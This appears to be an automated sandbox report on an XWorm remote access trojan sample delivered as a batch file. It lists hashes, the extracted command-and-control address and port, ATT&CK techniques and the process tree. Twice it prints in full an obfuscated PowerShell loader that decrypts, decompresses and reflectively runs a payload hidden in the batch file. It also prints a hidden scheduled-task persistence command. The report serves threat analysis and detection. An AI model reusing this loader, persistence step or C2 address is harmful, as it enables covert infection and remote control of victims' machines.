xworm | 7096d59bcb168595ff5f95c7eb287ebe8de315f0af34b4d5c78a7363ae24cad5

Analysis

max time kernel
9s
max time network
11s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
11/11/2024, 12:59

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General

Target

F_0a Pahnotom.bat
Size

314KB
MD5

e15c30227305c76972d8ecf85d4b31bc
SHA1

d192b94c852427ee1607c1bb45fb504130f66d33
SHA256

7096d59bcb168595ff5f95c7eb287ebe8de315f0af34b4d5c78a7363ae24cad5
SHA512

30fc1d2fa65d826cfc055be59c729f3a697988830a8e7b9093c088969d43a29fc43798bde7639dc38236f30d40c510bd5502f83244674bbc33a425f3a2a177ca
SSDEEP

6144:rS54Nvug0//LU31XygG+Ooyf5z7q3DACE2lq:rqKmX//O1Crou5zADbzq

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

135.125.21.87:7000

Attributes

Install_directory
%Temp%
install_file
Anticheat.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2912-49-0x000001DC77730000-0x000001DC77748000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	2912	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2808	powershell.exe
4512	powershell.exe
2912	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2808	powershell.exe
2808	powershell.exe
4512	powershell.exe
4512	powershell.exe
2912	powershell.exe
2912	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2808	powershell.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeIncreaseQuotaPrivilege	4512	powershell.exe
Token: SeSecurityPrivilege	4512	powershell.exe
Token: SeTakeOwnershipPrivilege	4512	powershell.exe
Token: SeLoadDriverPrivilege	4512	powershell.exe
Token: SeSystemProfilePrivilege	4512	powershell.exe
Token: SeSystemtimePrivilege	4512	powershell.exe
Token: SeProfSingleProcessPrivilege	4512	powershell.exe
Token: SeIncBasePriorityPrivilege	4512	powershell.exe
Token: SeCreatePagefilePrivilege	4512	powershell.exe
Token: SeBackupPrivilege	4512	powershell.exe
Token: SeRestorePrivilege	4512	powershell.exe
Token: SeShutdownPrivilege	4512	powershell.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeSystemEnvironmentPrivilege	4512	powershell.exe
Token: SeRemoteShutdownPrivilege	4512	powershell.exe
Token: SeUndockPrivilege	4512	powershell.exe
Token: SeManageVolumePrivilege	4512	powershell.exe
Token: 33	4512	powershell.exe
Token: 34	4512	powershell.exe
Token: 35	4512	powershell.exe
Token: 36	4512	powershell.exe
Token: SeIncreaseQuotaPrivilege	4512	powershell.exe
Token: SeSecurityPrivilege	4512	powershell.exe
Token: SeTakeOwnershipPrivilege	4512	powershell.exe
Token: SeLoadDriverPrivilege	4512	powershell.exe
Token: SeSystemProfilePrivilege	4512	powershell.exe
Token: SeSystemtimePrivilege	4512	powershell.exe
Token: SeProfSingleProcessPrivilege	4512	powershell.exe
Token: SeIncBasePriorityPrivilege	4512	powershell.exe
Token: SeCreatePagefilePrivilege	4512	powershell.exe
Token: SeBackupPrivilege	4512	powershell.exe
Token: SeRestorePrivilege	4512	powershell.exe
Token: SeShutdownPrivilege	4512	powershell.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeSystemEnvironmentPrivilege	4512	powershell.exe
Token: SeRemoteShutdownPrivilege	4512	powershell.exe
Token: SeUndockPrivilege	4512	powershell.exe
Token: SeManageVolumePrivilege	4512	powershell.exe
Token: 33	4512	powershell.exe
Token: 34	4512	powershell.exe
Token: 35	4512	powershell.exe
Token: 36	4512	powershell.exe
Token: SeIncreaseQuotaPrivilege	4512	powershell.exe
Token: SeSecurityPrivilege	4512	powershell.exe
Token: SeTakeOwnershipPrivilege	4512	powershell.exe
Token: SeLoadDriverPrivilege	4512	powershell.exe
Token: SeSystemProfilePrivilege	4512	powershell.exe
Token: SeSystemtimePrivilege	4512	powershell.exe
Token: SeProfSingleProcessPrivilege	4512	powershell.exe
Token: SeIncBasePriorityPrivilege	4512	powershell.exe
Token: SeCreatePagefilePrivilege	4512	powershell.exe
Token: SeBackupPrivilege	4512	powershell.exe
Token: SeRestorePrivilege	4512	powershell.exe
Token: SeShutdownPrivilege	4512	powershell.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeSystemEnvironmentPrivilege	4512	powershell.exe
Token: SeRemoteShutdownPrivilege	4512	powershell.exe
Token: SeUndockPrivilege	4512	powershell.exe
Token: SeManageVolumePrivilege	4512	powershell.exe
Token: 33	4512	powershell.exe
Token: 34	4512	powershell.exe
Token: 35	4512	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3080 wrote to memory of 2808	3080	cmd.exe	87
PID 3080 wrote to memory of 2808	3080	cmd.exe	87
PID 2808 wrote to memory of 4512	2808	powershell.exe	92
PID 2808 wrote to memory of 4512	2808	powershell.exe	92
PID 2808 wrote to memory of 1452	2808	powershell.exe	95
PID 2808 wrote to memory of 1452	2808	powershell.exe	95
PID 1452 wrote to memory of 924	1452	WScript.exe	96
PID 1452 wrote to memory of 924	1452	WScript.exe	96
PID 924 wrote to memory of 2912	924	cmd.exe	98
PID 924 wrote to memory of 2912	924	cmd.exe	98

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\F_0a Pahnotom.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LL2KZPrVdFPIKJLii9dN4PGBhXxarvkM1Q6SVMRXcA8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Scmn9a88MLF9VIvvfFCOug=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aCiJV=New-Object System.IO.MemoryStream(,$param_var); $xZMhD=New-Object System.IO.MemoryStream; $bjqDk=New-Object System.IO.Compression.GZipStream($aCiJV, [IO.Compression.CompressionMode]::Decompress); $bjqDk.CopyTo($xZMhD); $bjqDk.Dispose(); $aCiJV.Dispose(); $xZMhD.Dispose(); $xZMhD.ToArray();}function execute_function($param_var,$param2_var){ $Mgxhh=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $FAdaA=$Mgxhh.EntryPoint; $FAdaA.Invoke($null, $param2_var);}$JRzRA = 'C:\Users\Admin\AppData\Local\Temp\F_0a Pahnotom.bat';$host.UI.RawUI.WindowTitle = $JRzRA;$jWAVd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($JRzRA).Split([Environment]::NewLine);foreach ($ShfsL in $jWAVd) { if ($ShfsL.StartsWith(':: ')) { $gTQsD=$ShfsL.Substring(3); break; }}$payloads_var=[string[]]$gTQsD.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_846_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_846.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4512
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_846.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1452
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_846.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:924
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LL2KZPrVdFPIKJLii9dN4PGBhXxarvkM1Q6SVMRXcA8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Scmn9a88MLF9VIvvfFCOug=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aCiJV=New-Object System.IO.MemoryStream(,$param_var); $xZMhD=New-Object System.IO.MemoryStream; $bjqDk=New-Object System.IO.Compression.GZipStream($aCiJV, [IO.Compression.CompressionMode]::Decompress); $bjqDk.CopyTo($xZMhD); $bjqDk.Dispose(); $aCiJV.Dispose(); $xZMhD.Dispose(); $xZMhD.ToArray();}function execute_function($param_var,$param2_var){ $Mgxhh=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $FAdaA=$Mgxhh.EntryPoint; $FAdaA.Invoke($null, $param2_var);}$JRzRA = 'C:\Users\Admin\AppData\Roaming\startup_str_846.bat';$host.UI.RawUI.WindowTitle = $JRzRA;$jWAVd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($JRzRA).Split([Environment]::NewLine);foreach ($ShfsL in $jWAVd) { if ($ShfsL.StartsWith(':: ')) { $gTQsD=$ShfsL.Substring(3); break; }}$payloads_var=[string[]]$gTQsD.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
dbbf71e9fb59f80938f09809b160e441

SHA1
8b9a517d846cb9a0a284f77ed88328236a85055f

SHA256
e1de59d46c7c47af2d62f7754524b080a706be6b38d55a03733a10c3675598b1

SHA512
90b75d43ddb81c710fb8fe2fd15b5c05181c774d3f401e47862006adb1703bc65ad8fead4aaf7a28b8e2bbe7249f3de998bd9432c1e62fa8718a19dacc4b8840

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jj2jrsco.4ce.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_846.bat

Filesize
314KB

MD5
e15c30227305c76972d8ecf85d4b31bc

SHA1
d192b94c852427ee1607c1bb45fb504130f66d33

SHA256
7096d59bcb168595ff5f95c7eb287ebe8de315f0af34b4d5c78a7363ae24cad5

SHA512
30fc1d2fa65d826cfc055be59c729f3a697988830a8e7b9093c088969d43a29fc43798bde7639dc38236f30d40c510bd5502f83244674bbc33a425f3a2a177ca

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_846.vbs

Filesize
115B

MD5
55cfb61121013050a5eee40ad7edb75f

SHA1
1ba998c58e5d08432299dc4a6c825cffc22d1247

SHA256
0a8a77a2265f5dec9203b0f89a8815bf754743496a5c362404d4d79688536096

SHA512
1282ae290b9d719e5e5fa6f6d767bdc8cc2e41728ff37910a39b594e78d17635082d6249470a3ba1e4a2cf8e2f6e7318a27b6d40547f9a5ab2d33133763523d9

Download Submit
memory/2808-12-0x00007FFD36FD0000-0x00007FFD37A91000-memory.dmp

Filesize
10.8MB

Download
memory/2808-14-0x000002329F360000-0x000002329F39A000-memory.dmp

Filesize
232KB

Download
memory/2808-13-0x0000023287030000-0x0000023287038000-memory.dmp

Filesize
32KB

Download
memory/2808-0-0x00007FFD36FD3000-0x00007FFD36FD5000-memory.dmp

Filesize
8KB

Download
memory/2808-11-0x00007FFD36FD0000-0x00007FFD37A91000-memory.dmp

Filesize
10.8MB

Download
memory/2808-1-0x00000232871D0000-0x00000232871F2000-memory.dmp

Filesize
136KB

Download
memory/2808-50-0x00007FFD36FD0000-0x00007FFD37A91000-memory.dmp

Filesize
10.8MB

Download
memory/2912-49-0x000001DC77730000-0x000001DC77748000-memory.dmp

Filesize
96KB

Download
memory/4512-25-0x00007FFD36FD0000-0x00007FFD37A91000-memory.dmp

Filesize
10.8MB

Download
memory/4512-26-0x00007FFD36FD0000-0x00007FFD37A91000-memory.dmp

Filesize
10.8MB

Download
memory/4512-27-0x00007FFD36FD0000-0x00007FFD37A91000-memory.dmp

Filesize
10.8MB

Download
memory/4512-30-0x00007FFD36FD0000-0x00007FFD37A91000-memory.dmp

Filesize
10.8MB

Download